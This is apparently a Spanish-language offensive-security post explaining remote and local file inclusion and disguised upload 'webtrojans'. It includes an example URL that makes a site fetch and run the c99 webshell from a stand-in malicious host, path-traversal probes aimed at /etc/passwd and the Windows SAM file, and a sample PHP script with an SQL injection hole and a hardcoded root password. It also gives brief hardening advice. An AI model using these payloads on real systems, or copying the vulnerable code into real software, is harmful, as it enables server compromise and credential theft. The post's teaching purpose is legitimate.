ATAQUES DE INYECCION DE ARCHIVOS | SEGURIDAD OFENSIVA - WEB

ATAQUES DE INYECCION DE ARCHIVOS | SEGURIDAD OFENSIVA - WEB

Los ataques de inyección de archivos, consisten en poder cargar o subir un archivo a una aplicación web, de forma desautorizada, el cual pueda comprometer en su totalidad la aplicación web. Este tipo de ataques tienen diferentes finalidades o consecuencias, como el defacement el cual consiste en modificar el aspecto de una aplicación web, o re-direccionar al usuario a otro sitio, con el mismo fin. 

Tenemos también la carga de WebShell´s para poder tener total control de la aplicación.

Los ataques más comunes o presentes de estas índoles son:

• Remote File Inclusion
• Local File Inclusion
• WebTrojans

REMOTE FILE INCLUSION (RFI)

Este tipo de vulnerabilidades consiste en poder ejecutar código remoto dentro de la aplicación, por medio de un archivo el cual, nosotros cargamos remotamente. Esto se debe gracias a los lenguajes interpretados, donde podemos incluir un archivo a la ejecución del código, entonces cuando se esté ejecutante el código, se ejecutara el código malicioso cargado en un archivo remoto.

Por ejemplo, tenemos este ejemplo, de una página programada con PHP:

www.sitio.com/ejecutar.php?id=malicioso.php

Como podemos ver en el ejemplo anterior el archivo ejecutar.php hará uso de alguna función que permita la inclusión dinámica de otros archivos, que en este caso es malicioso.php el cual contiene código malicioso. PHP hace uso de funciones las cuales permiten hacer uso de archivos externos o remotos para generar páginas más complejas, nosotros nos podemos aprovechar de estas funciones para poder cargar un archivo con código malicioso.

Estas funciones pueden ser:

• Include
• Require
• Include_once
• Requiere_once

Estas funciones hacen uso de un parámetro, el cual indica la ruta del archivo, con el cual trabajar. Si este parámetro no está bien “configurado” o controlado, podemos aprovecharnos de el para incluir un archivo externo que se puede ejecutar en el lado del servidor, incluso descargarse.

Por ejemplo tenemos el siguiente código PHP

<?php

include'conexion.php';

$password=$_GET['password'];

$matricula=$_GET['matricula'];

$modificar = "UPDATE asistentes SET  pass='$password' WHERE Matricula='$matricula'";

$resultado=mysqli_query($conexion, $modificar);

if(!$resultado){

     echo 'ERROR AL REGISTRAR';

     echo $resultado;

}else{

     echo "REGISTRO EXITOSO";

}

mysqli_close($conexion);

?>

Como podemos ver, al inicio del código tenemos la función includela cual manda llamar otro archivo llamado conexión.phpdentro del archivo tenemos este código:

<?php

//archivo de conexion a la base de datos.

$conexion=mysqli_connect("localhost","root","passchidaAdmin23",

"ponencias_taller");

/*if(!$conexion){

     echo 'Error al conectar con las Base de Datos';

}else{

     echo 'Conexion exitosa con la Base de Datos';

}*/

?>

Un archivo tiene la función de actualizar, pero para eso requiere una conexión a la base de datos, para eso manda llamar al archivo conexión.php el cual contiene el código necesario para poder acceder al servidor.

Ahora, que pasaría si tenemos esto:

http://www.sitio.com/upfiles.php?file=             www.sitiomalo.com/c99.txt

En este ejemplo, la página sitio.com solicita a sitiomalo.com el archivo c99.txt el cual contiene código php, que descargara y ejecutara en el lado del servidor y c99 es una webshell, es decir, cargamos una webshell al servidor.

Esta vulnerabilidad se da por dos motivos, el primero es que tenemos código PHP con funciones las cuales nos permiten mandar llamar archivos externos o remotos y la segunda es por una mala configuración del servidor PHP, el cual permite la inclusión de archivos externos. Lo correcto sería configurar el servidor para que este prohíba este tipo de acciones.

Para realizar esta configuración, lo que podemos hacer es ir al intérprete de PHP y buscar el archivo php.ini y establecer la clave de configuración allow_url_include a false.

LOCAL FILE INCLUSION (LFI)

Este tipo de vulnerabilidad afecta a los lenguajes compilados como interpretados, consiste en incluir dentro de la página un archivo local del usuario, con el que se ejecuta el servidor de aplicaciones web que tenga permisos de lectura. Este tipo de vulnerabilidad afecta a cualquier parte de la aplicación web, sin embargo existen dos sitios donde está más presente:

• ·         Páginas de Plantillas
• ·         Páginas de Descargas

RFI y LFI son dos vulnerabilidades muy similares, es decir el concepto tras ambos fallos es el mismo. Para explotar la vulnerabilidad LFI deberíamos ser capaces de consultar archivos fuera de la ruta orginal, para esto trataríamos de incluir archivos de un directorio superior (también inferior) usando caracteres especiales ya sea para sistemas Windows o Linux.

Estos caracteres especiales son:

•  ../ (Linux)
•  ..\ (Windows)

Estos caracteres especiales más el nombre de un archivo que creamos exista en el servidor, puede ser por ejemplo un index ya sea en html o php

Ejemplo:

www.sito.com/banco/reportes.php?id_reporte=666&tipo=enero.php

Tenemos un sitio, o banco, el cual tiene una seccion llamda banco, al cual le hicieron una consulta, al archivo reportes.php el cual aparte de traer la información de una DB utiliza el archivo enero.php el cual puede ser una plantilla.

Para realizar la prueba y verificar si el sitio es vulnerable a LFI debemos hacer lo siguiente:

www.sito.com/banco/reportes.php?id_reporte=666&tipo=../index.php

Este tipo de vulnerabilidad nos da mucha información sobre el servidor, algo que podemos agregar extra, es que podemos aprovecharnos de un fallo de Path Disclosure, para obtener la ruta donde se ubican los archivos o probamos con rutas directas. 

Existen una gran cantidad de archivos con información muy interesante, desde la configuración del servidor, hasta listas de usuarios con credenciales de acceso al sistema, sin embargo algo a tener en cuenta, es que las rutas de los archivos varían dependiendo  del sistema operativo, por ejemplo en sistemas Linux tenemos la ruta /etc/passwd/ donde se almacena información de los usuarios mientras que en Windows tenemos C:\Windows\repair\SAM donde SAM es el archivo donde se almacena información de los usuarios.

Ruta	Sistema Operativo	Contenido
C:\Windows\repair\SAM	Windows	Archivo SAM, que almacena información de los usuarios
/etc/passwd/	Linux	Información de los usuarios

Para evitar este tipo de vulnerabilidad es muy importante que el servidor tenga tenga el minimo de privilegios, con el fin de evitar que atacantes tengan acceso a los archivos del servidor dentro de su propia carpeta, es decir denegar el acceso a los archivos del sistema, sin embargo se tendrá aun acceso a archivos de la aplicación web.

Algunos WebMasters y pentesters a quienes consulte, sobre el tema, me dijeron que se puede evitar la vulnerabilidad configurando el servidor o una protección mediante programación, para esto se tiene en cuenta las dos formas con las que se pueden acceder a los archivos; la forma directa que todos conocemos usando los caracteres \ o / y la forma relativa para subir o escalar directorios ..\ o ../. basta con configurar

WEBTROJANS

 

Un fallo el cual esta presenta en casi todas las aplicaciones web que nos permiten subir archivos al servidor, pues una gran cantidad de sitios tienen como función principal cargar archivos como imágenes(jpg, png, gif) documentos(pdf, doc, txt) videos(mp4) entre otros archivos.

Este fallo de seguridad aprovecha esta carga de archivos, donde no se comprueba en su totalidad que tipo de archivos se esta subiendo, es decir, si vamos a esperar una imagen, comprobar que la extensión sea jpg y no php, por poner un ejemplo.

Los archivos conocidos como Webtrojan son archivos maliciosos del tipo troyano, un archivo que en apariencia parece una imagen, pero que realmente esta escondiendo condigo que al ser subido se ejecutara comprometiendo todo el servidor.

Si no se tiene en cuenta este aspecto, un usuario podria cargar un archivo que simula ser una imagen, incluso con extensión jpg, pero al momento de ser almacenada en el servidor termina siendo una webshell. Estas Shell son detectadas por los antivirus, sin embargo como ya lo he mencionado se pueden ser camufladas, con el fin de burlar los antivirus.

Una de las tantas formas de hacer esto, es incluirlo tras una cabecera de una imagen, donde algunos servidores son capaces de ejecutar el código.

En la imagen superior podemos observar código PHP oculto en una imagen GIF, este código PHP permite crear una backdoor o puerta trasera para posteriormente subir archivos, esto es un ejemplo de un webtrojan.

Post:[byt3 - redbirdTEAM]